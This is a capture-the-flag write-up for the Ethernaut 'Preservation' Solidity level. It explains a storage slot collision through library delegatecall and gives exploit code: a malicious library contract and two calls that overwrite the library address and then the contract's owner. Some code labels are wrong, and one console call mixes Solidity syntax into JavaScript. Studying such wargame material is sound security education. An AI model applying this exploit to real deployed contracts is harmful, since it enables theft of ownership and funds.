Writeups/Ethernaut/Preservation
HardEthernaut · Ethernaut2024

Preservation

Storage Slot Collision via Library delegatecall

The `setTime()` library function writes to slot 0. When called via `delegatecall` from `Preservation`, it writes to `Preservation`'s slot 0 — which is `timeZone1Library` (an address). By pointing slot 0 to an attacker-controlled contract, subsequent `delegatecall`s execute arbitrary logic, overwriting the `owner` in slot 2.

SoliditydelegatecallStorage Slot CollisionLibrary

00Overview

The `setTime()` library function writes to slot 0. When called via `delegatecall` from `Preservation`, it writes to `Preservation`'s slot 0 — which is `timeZone1Library` (an address). By pointing slot 0 to an attacker-controlled contract, subsequent `delegatecall`s execute arbitrary logic, overwriting the `owner` in slot 2.

01Deploy a malicious library

javascript
contract MaliciousLibrary {
    address public timeZone1Library; // slot 0
    address public timeZone2Library; // slot 1
    address public owner;            // slot 2

    function setTime(uint _time) public {
        owner = tx.origin;
    }
}

02Overwrite timeZone1Library via first setFirstTime call

Pass attacker contract address as uint256 to slot 0.

javascript
await contract.setFirstTime(uint(attackerAddress))

03Trigger owner overwrite

javascript
await contract.setFirstTime(0)  // now delegatecalls MaliciousLibrary.setTime() -> owner = tx.origin

04Level Completed

Preservation — completion screenshot 1